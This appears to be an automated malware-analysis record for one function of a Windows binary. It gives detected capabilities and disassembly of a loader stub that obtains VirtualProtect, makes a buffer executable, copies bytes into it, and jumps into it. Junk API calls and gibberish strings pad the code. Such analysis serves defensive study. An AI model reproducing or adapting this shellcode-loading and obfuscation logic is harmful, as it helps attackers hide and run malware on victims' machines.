Function at 0x40252b
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get disk size
Get hostname
Identify system language via api
Print debug messages

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1040
call fcn.0040b310
push ebx
push esi
push edi
xor esi, esi
xor edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp edi, 0x207138
jg 0x402557
inc edi
cmp edi, 0x4f672
jl 0x40253f
cmp dword [0x42e0fc], 0x93
jne 0x4025e8
push esi
lea eax, [ebp - 0x840]
push eax
push esi
push str.Luh_fanalare
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringW]
xor eax, eax
lock bts dword [eax], 0
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnWire]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
push str.fatoxapitayularehetikayovanesofa
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_TerminateJobObject]
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x18], str.bad_exception
call fcn.004028d3
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x24], vtable.std::bad_exception.0
call fcn.004028fa
call fcn.0040251d
push esi
call fcn.00402c14
push esi
call fcn.00402c23
pop ecx
pop ecx
push esi
call fcn.00402eb5
mov eax, dword [0x426098]
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
add dword [0x42e0fc], 0x1134b
push str.kernel32.dll
mov dword [0x434528], eax
call edi
push str.VirtualProtect
push eax
mov dword [0x42db8c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [0x42e0fc]
mov dword [0x42db80], eax
push esi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 4]
push ecx
push 0x40
push dword [0x42e0fc]
mov dword [0x42db88], eax
push eax
call dword [0x42db80]
mov ebx, 0x1692e
call dword [sym.imp.KERNEL32.dll_GetLastError]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
dec ebx
jne 0x402649
cmp dword [0x42e0fc], esi
jbe 0x4026c3
mov eax, dword [0x434528]
mov al, byte [eax + ebx + 0x1134b]
mov ecx, dword [0x42db88]
mov byte [ecx + ebx], al
cmp dword [0x42e0fc], 0x490
jne 0x4026ba
push esi
lea eax, [ebp - 0x840]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push esi
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push esi
push str.ducagi
call dword [sym.imp.KERNEL32.dll_IsBadStringPtrA]
push esi
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
push str.kimerebulewawiligicatewixay
call edi
inc ebx
cmp ebx, dword [0x42e0fc]
jb 0x402660
xor edi, edi
mov eax, dword [0x42e0fc]
add eax, edi
cmp eax, 0x8d
jne 0x4026e4
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
inc edi
cmp edi, 0x38681
jl 0x4026c5
mov eax, dword [0x42e0fc]
mov ecx, dword [0x42db88]
shr eax, 3
cmp eax, esi
jbe 0x40273f
mov edi, ecx
mov ebx, eax
cmp dword [0x42e0fc], 0x959
jne 0x402734
push esi
lea eax, [ebp - 0x1040]
push eax
push esi
push str.Vuti
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetNumberFormatW]
push esi
lea eax, [ebp - 0x440]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeMountPointA]
call fcn.00401029
add edi, 8
dec ebx
jne 0x402703
xor edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp edi, 0x62
jne 0x402760
mov dword [ebp - 8], esi
add dword [ebp - 8], 0x3c2b
mov eax, dword [ebp - 8]
add dword [0x42db88], eax
inc edi
cmp edi, 0x674db
jl 0x402741
push 0x7b
pop edi
cmp dword [0x42e0fc], 0x86
jne 0x40279d
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
lea eax, [ebp - 0x40]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_BuildCommDCBW]
dec edi
jne 0x40276c
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call dword [0x42db88]
pop edi
pop esi
pop ebx
leave
ret